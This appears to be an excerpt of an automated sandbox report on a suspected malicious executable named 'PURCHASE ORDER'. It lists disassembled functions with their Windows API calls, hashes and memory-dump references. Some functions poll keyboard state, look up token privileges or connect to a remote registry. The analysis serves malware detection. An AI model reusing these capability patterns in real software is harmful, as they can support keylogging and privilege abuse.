                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
                                                                          • String ID: DecodePointer$EncodePointer$KERNEL32.DLL
                                                                          • API String ID: 1028249917-2843748187
                                                                          • Opcode ID: 149215eb9963fdce733e6eee9b7d54027110d9b9ecd285c2a82fe369659baa59
                                                                          • Instruction ID: dfb830706c011728ae11a8c0f52cb2fa371409e71f4acd403326aacb15a29bdd
                                                                          • Opcode Fuzzy Hash: 149215eb9963fdce733e6eee9b7d54027110d9b9ecd285c2a82fe369659baa59
                                                                          • Instruction Fuzzy Hash: 4E119671944701AFD720EF76C905B9EBBE0AF00714F10495FE469A6391DB78A580CB1D
                                                                          Function 0044920C Relevance: 18.2, APIs: 12, Instructions: 243windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(?,00000000,000000FF,?), ref: 0044931D
                                                                          • SendMessageW.USER32(?,0045BBB0,00000000,00000000), ref: 0044932D
                                                                          • CharNextW.USER32(?,?,?,?,0045BBB0,00000000,00000000,?,?), ref: 00449361
                                                                          • SendMessageW.USER32(?,?,00000000,00000000), ref: 00449375
                                                                          • SendMessageW.USER32(?,00000402,?), ref: 0044941C
                                                                          • SendMessageW.USER32(004A83D8,000000C2,00000001,?), ref: 004494A0
                                                                          • SendMessageW.USER32(?,00001002,00000000,?), ref: 00449515
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$CharNext
                                                                          • String ID:
                                                                          • API String ID: 1350042424-0
                                                                          • Opcode ID: 5fd89deb92f75c0e0d7406111af65340a6b95ffecf1ba9c2db83920ef449de6e
                                                                          • Instruction ID: cf19a455924c4199ae2d31ef2e344bdd2865620a2145bd440d1f5c61272ee54d
                                                                          • Opcode Fuzzy Hash: 5fd89deb92f75c0e0d7406111af65340a6b95ffecf1ba9c2db83920ef449de6e
                                                                          • Instruction Fuzzy Hash: 5D81B5312083019BE720DF15DC85FBBB7E4EBD9B20F00492EFA54962C0D7B99946D766
                                                                          Function 00453B94 Relevance: 18.2, APIs: 12, Instructions: 188keyboardCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetKeyboardState.USER32(?,?,00000000), ref: 00453C0D
                                                                          • SetKeyboardState.USER32(?), ref: 00453C5A
                                                                          • GetAsyncKeyState.USER32(000000A0), ref: 00453C82
                                                                          • GetKeyState.USER32(000000A0), ref: 00453C99
                                                                          • GetAsyncKeyState.USER32(000000A1), ref: 00453CC9
                                                                          • GetKeyState.USER32(000000A1), ref: 00453CDA
                                                                          • GetAsyncKeyState.USER32(00000011), ref: 00453D07
                                                                          • GetKeyState.USER32(00000011), ref: 00453D15
                                                                          • GetAsyncKeyState.USER32(00000012), ref: 00453D3F
                                                                          • GetKeyState.USER32(00000012), ref: 00453D4D
                                                                          • GetAsyncKeyState.USER32(0000005B), ref: 00453D77
                                                                          • GetKeyState.USER32(0000005B), ref: 00453D85
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: State$Async$Keyboard
                                                                          • String ID:
                                                                          • API String ID: 541375521-0
                                                                          • Opcode ID: 439544d7db57c6269f5a832870b7215b314e2d5ec2fc8731d7b6f8ebe45629c5
                                                                          • Instruction ID: 09d2c23b2f41f951af40c960ff4fa7a39ed3d74d48f5bb091813d5d41b5bf946
                                                                          • Opcode Fuzzy Hash: 439544d7db57c6269f5a832870b7215b314e2d5ec2fc8731d7b6f8ebe45629c5
                                                                          • Instruction Fuzzy Hash: BD5108311497C42AF731EF6048217A7BBE45F52782F488D5EE9C107283E619AB0C976B
                                                                          Function 00437DB1 Relevance: 18.2, APIs: 12, Instructions: 180COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetDlgItem.USER32(?,00000001), ref: 00437DD7
                                                                          • GetWindowRect.USER32(00000000,?), ref: 00437DE9
                                                                          • MoveWindow.USER32(00000000,0000000A,?,?,?,00000000), ref: 00437E5C
                                                                          • GetDlgItem.USER32(?,00000002), ref: 00437E70
                                                                          • GetWindowRect.USER32(00000000,?), ref: 00437E82
                                                                          • MoveWindow.USER32(00000000,?,00000000,?,?,00000000), ref: 00437EDB
                                                                          • GetDlgItem.USER32(?,000003E9), ref: 00437EEA
                                                                          • GetWindowRect.USER32(00000000,?), ref: 00437EFC
                                                                          • MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00437F46
                                                                          • GetDlgItem.USER32(?,000003EA), ref: 00437F55
                                                                          • MoveWindow.USER32(00000000,0000000A,0000000A,?,-000000FB,00000000), ref: 00437F6E
                                                                          • InvalidateRect.USER32(?,00000000,00000001), ref: 00437F78
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Window$ItemMoveRect$Invalidate
                                                                          • String ID:
                                                                          • API String ID: 3096461208-0
                                                                          • Opcode ID: 85b2574db82c4a067caaf632f6dab2f3668a9f7fdedc9eb4d1c33f4a9692aa02
                                                                          • Instruction ID: 6334a21bf5495bf578199e0a0c43900503e40640961724061e29feeedb49a886
                                                                          • Opcode Fuzzy Hash: 85b2574db82c4a067caaf632f6dab2f3668a9f7fdedc9eb4d1c33f4a9692aa02
                                                                          • Instruction Fuzzy Hash: 46511CB16083069FC318DF68DD85A2BB7E9ABC8300F144A2DF985D3391E6B4ED058B95
                                                                          Function 00436879 Relevance: 18.1, APIs: 12, Instructions: 115COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: _wcscat_wcscpy$__wsplitpath$_wcschr
                                                                          • String ID:
                                                                          • API String ID: 136442275-0
                                                                          • Opcode ID: 8bb1124220d8f68122d0f1a8633f784f40ed2a0c71bdd1f95919e960fb23027d
                                                                          • Instruction ID: e47e2093bf76b35e8f1fec89578fc46911e8a4506192668d3a16ce6d5165f020
                                                                          • Opcode Fuzzy Hash: 8bb1124220d8f68122d0f1a8633f784f40ed2a0c71bdd1f95919e960fb23027d
                                                                          • Instruction Fuzzy Hash: 744124B2408345ABC235E754C885EEF73ECABD8314F44891EB68D42141EB796688C7A7
                                                                          Function 0046B39A Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 401registryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                          • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046B479
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ConnectRegistry_wcslen
                                                                          • String ID: HH
                                                                          • API String ID: 535477410-2761332787
                                                                          • Opcode ID: e167cb1a0d39dc08627fc1a452005d5be18e6f56cd7a12c3ea5d5bbd580dbf7f
                                                                          • Instruction ID: 7a368be733395892e28f24b11b3b05e85d853a2cd395d98498a1c99032eed9d9
                                                                          • Opcode Fuzzy Hash: e167cb1a0d39dc08627fc1a452005d5be18e6f56cd7a12c3ea5d5bbd580dbf7f
                                                                          • Instruction Fuzzy Hash: 63E171B1604200ABC714EF28C981F1BB7E4EF88704F148A1EF685DB381D779E945CB9A
                                                                          Function 00460473 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 255COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetClassNameW.USER32(?,?,00000400), ref: 004604B5
                                                                          • GetWindowTextW.USER32(?,?,00000400), ref: 004604F1
                                                                          • _wcslen.LIBCMT ref: 00460502
                                                                          • CharUpperBuffW.USER32(?,00000000), ref: 00460510
                                                                          • GetClassNameW.USER32(?,?,00000400), ref: 00460589
                                                                          • GetWindowTextW.USER32(?,?,00000400), ref: 004605C2
                                                                          • GetClassNameW.USER32(?,?,00000400), ref: 00460606
                                                                          • GetClassNameW.USER32(?,?,00000400), ref: 0046063E
                                                                          • GetWindowRect.USER32(?,?), ref: 004606AD
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen
                                                                          • String ID: ThumbnailClass
                                                                          • API String ID: 4123061591-1241985126
                                                                          • Opcode ID: d81b9eb1014bf0c552f647121340d293adfb5e43e55e37c5a686eb3c785bede7
                                                                          • Instruction ID: b645ef8d54a60b7d8a856e9fdf4d8999e4c56e3b903fe9b51be5921097eabf2a
                                                                          • Opcode Fuzzy Hash: d81b9eb1014bf0c552f647121340d293adfb5e43e55e37c5a686eb3c785bede7
                                                                          • Instruction Fuzzy Hash: 3F91B0715043019FDB14DF24C884BAB77A8EF84715F04896FFD85AA281E778E905CBAB
                                                                          Function 0046F50B Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 157windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 00456354: GetCursorPos.USER32(004A83D8), ref: 0045636A
                                                                            • Part of subcall function 00456354: ScreenToClient.USER32(004A83D8,?), ref: 0045638A
                                                                            • Part of subcall function 00456354: GetAsyncKeyState.USER32(?), ref: 004563D0
                                                                            • Part of subcall function 00456354: GetAsyncKeyState.USER32(?), ref: 004563DC
                                                                          • DefDlgProcW.USER32(?,00000205,?,?,004A83D8,00000000,00000001,004A83D8,?), ref: 0046F55F
                                                                          • ImageList_DragLeave.COMCTL32(00000000,004A83D8,00000000,00000001,004A83D8,?), ref: 0046F57D
                                                                          • ImageList_EndDrag.COMCTL32 ref: 0046F583
                                                                          • ReleaseCapture.USER32 ref: 0046F589
                                                                          • SetWindowTextW.USER32(?,00000000), ref: 0046F620
                                                                          • SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 0046F630
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: AsyncDragImageList_State$CaptureClientCursorLeaveMessageProcReleaseScreenSendTextWindow
                                                                          • String ID: @GUI_DRAGFILE$@GUI_DROPID$HH
                                                                          • API String ID: 2483343779-2060113733
                                                                          • Opcode ID: b963958ab96ed52e1c3ab3b45c628991f908dc465e455618a5f6fc8545d443fb
                                                                          • Instruction ID: 4b94e37398fb4c0e8bf176de98e3888209b69965db7f8e5b86c8cb252d1f017b
                                                                          • Opcode Fuzzy Hash: b963958ab96ed52e1c3ab3b45c628991f908dc465e455618a5f6fc8545d443fb
                                                                          • Instruction Fuzzy Hash: EB5106716043119BD700DF18DC85FAF77A5EB89310F04492EF941973A2DB789D49CBAA
                                                                          Function 0046FD7F Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 143windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • ExtractIconExW.SHELL32(?,?,00000000,?,00000001), ref: 0046FD8A
                                                                          • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,004A83D8,?), ref: 0046FDF0
                                                                          • SendMessageW.USER32(?,00001109,00000000,00000000), ref: 0046FE0E
                                                                          • ImageList_ReplaceIcon.COMCTL32(?,000000FF,?,004A83D8,?), ref: 0046FE20
                                                                          • SendMessageW.USER32(?,0000113E,00000000,?), ref: 0046FEA5
                                                                          • SendMessageW.USER32(?,0000113F,00000000,?), ref: 0046FEDF
                                                                          • GetClientRect.USER32(?,?), ref: 0046FEF2
                                                                          • RedrawWindow.USER32(?,?,00000000,00000000), ref: 0046FF02
                                                                          • DestroyIcon.USER32(?), ref: 0046FFCC
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: IconMessageSend$ImageList_$ClientCreateDestroyExtractRectRedrawReplaceWindow
                                                                          • String ID: 2
                                                                          • API String ID: 1331449709-450215437
                                                                          • Opcode ID: 0839cb131ab93339cce718f32a9fb856b385d6e902e652cc812f2dbbb554e4d7
                                                                          • Instruction ID: e79942d1a0196d9b5e30c5c178d8ccafd59c9ae1e7fac48b8759c586c5a3b44e
                                                                          • Opcode Fuzzy Hash: 0839cb131ab93339cce718f32a9fb856b385d6e902e652cc812f2dbbb554e4d7
                                                                          • Instruction Fuzzy Hash: EB51AC702043019FD320CF44D885BAABBE5FB88700F04487EE684872A2D7B5A849CB5A
                                                                          Function 00450E7D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • DestroyWindow.USER32(?,?,?,?,?,?,00000000,static,00000000,00000000,?,?,00000000,00000000,?,00000000), ref: 00450EE1
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: DestroyWindow
                                                                          • String ID: static
                                                                          • API String ID: 3375834691-2160076837
                                                                          • Opcode ID: 88f11647011456fbb04f7235260bd1d02a964e72c1c4e3b3fb6640230c73d37f
                                                                          • Instruction ID: 4605c95b1b006c90d65e271c0fdf07f62d21d56273c2870bf7f2e3decf5281c5
                                                                          • Opcode Fuzzy Hash: 88f11647011456fbb04f7235260bd1d02a964e72c1c4e3b3fb6640230c73d37f
                                                                          • Instruction Fuzzy Hash: 4531B572200300BBD7109B64DC45F6BB3A8EBC9711F204A2EFA50D72C0D7B4E8048B69
                                                                          Function 004393E2 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 109threadCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetCurrentProcess.KERNEL32(00000008,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439409
                                                                          • OpenThreadToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?), ref: 0043940C
                                                                          • GetCurrentProcess.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,?), ref: 0043941D
                                                                          • OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?), ref: 00439420
                                                                          • LookupPrivilegeValueW.ADVAPI32(00000000,SeAssignPrimaryTokenPrivilege,?), ref: 0043945B
                                                                          • LookupPrivilegeValueW.ADVAPI32(00000000,SeIncreaseQuotaPrivilege,?), ref: 00439474
                                                                          • _memcmp.LIBCMT ref: 004394A9
                                                                          • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004394F8
                                                                          Strings
                                                                          • SeAssignPrimaryTokenPrivilege, xrefs: 00439455
                                                                          • SeIncreaseQuotaPrivilege, xrefs: 0043946A
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Process$CurrentLookupOpenPrivilegeTokenValue$CloseHandleThread_memcmp
                                                                          • String ID: SeAssignPrimaryTokenPrivilege$SeIncreaseQuotaPrivilege
                                                                          • API String ID: 1446985595-805462909
                                                                          • Opcode ID: 7b5964ebc210eec24af21402e2b7f40e95def761f5b1447ed6d44f65f7ea18b7
                                                                          • Instruction ID: 628aaead06b6f58e004e5b45c2ed9710a22b4d2b921ab75b424857e8fd72c9d6
                                                                          • Opcode Fuzzy Hash: 7b5964ebc210eec24af21402e2b7f40e95def761f5b1447ed6d44f65f7ea18b7
                                                                          • Instruction Fuzzy Hash: DB31A371508312ABC710DF21CD41AAFB7E8FB99704F04591EF98193240E7B8DD4ACBAA
                                                                          Function 0045D83D Relevance: 17.6, APIs: 3, Strings: 7, Instructions: 86COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SetErrorMode.KERNEL32(00000001), ref: 0045D848
                                                                          • GetDriveTypeW.KERNEL32(?,?), ref: 0045D8A3
                                                                          • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D94A
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ErrorMode$DriveType
                                                                          • String ID: CDROM$Fixed$Network$RAMDisk$Removable$Unknown$HH
                                                                          • API String ID: 2907320926-41864084
                                                                          • Opcode ID: f2537af69be7bdfb8cd077d5fba63d09357e4425d7c4eca9e5473fe3d57dd33a
                                                                          • Instruction ID: d4cab332979e247f8c2da9788294718902473fa09eb5ff996f03d25688ce9cbb
                                                                          • Opcode Fuzzy Hash: f2537af69be7bdfb8cd077d5fba63d09357e4425d7c4eca9e5473fe3d57dd33a
                                                                          • Instruction Fuzzy Hash: C7318B75A083008FC310EF65E48481EB7A1AFC8315F648D2FF945A7362C779D9068BAB
                                                                          Function 00467214 Relevance: 16.8, APIs: 11, Instructions: 313COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 004672E6
                                                                          • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 0046735D
                                                                          • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467375
                                                                          • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 004673ED
                                                                          • SafeArrayGetVartype.OLEAUT32(CE8B7824,?), ref: 00467418
                                                                          • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467445
                                                                          • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 0046746A
                                                                          • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 00467559
                                                                          • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 0046748A
                                                                            • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                            • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                            • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                          • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467571
                                                                          • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 004675E4
                                                                            • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ArraySafe$Data$AccessUnaccess$Exception@8ThrowVartype_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                          • String ID:
                                                                          • API String ID: 1932665248-0
                                                                          • Opcode ID: 2f069d425a14989955c91583bf1eee78d18cf75f4644af0e6fd4452b58d9bd04
                                                                          • Instruction ID: 42a0e90c8bf2b482c85e144861ec280134e9fb1dbd9e00a0d693b148f8e5f150
                                                                          • Opcode Fuzzy Hash: 2f069d425a14989955c91583bf1eee78d18cf75f4644af0e6fd4452b58d9bd04
                                                                          • Instruction Fuzzy Hash: E8B1BF752082009FD304DF29C884B6B77E5FF98318F14496EE98587362E779E885CB6B
                                                                          Function 004480F2 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00448182
                                                                          • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00448185
                                                                          • GetWindowLongW.USER32(?,000000F0), ref: 004481A7
                                                                          • _memset.LIBCMT ref: 004481BA
                                                                          • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004481CC
                                                                          • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 0044824E
                                                                          • SendMessageW.USER32(?,00001074,?,00000007), ref: 004482A4
                                                                          • SendMessageW.USER32(?,00001057,00000000,00000000), ref: 004482BE
                                                                          • SendMessageW.USER32(?,0000101D,00000001,00000000), ref: 004482E3
                                                                          • SendMessageW.USER32(?,0000101E,00000001,00000000), ref: 004482FC
                                                                          • SendMessageW.USER32(?,00001008,?,00000007), ref: 00448317
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
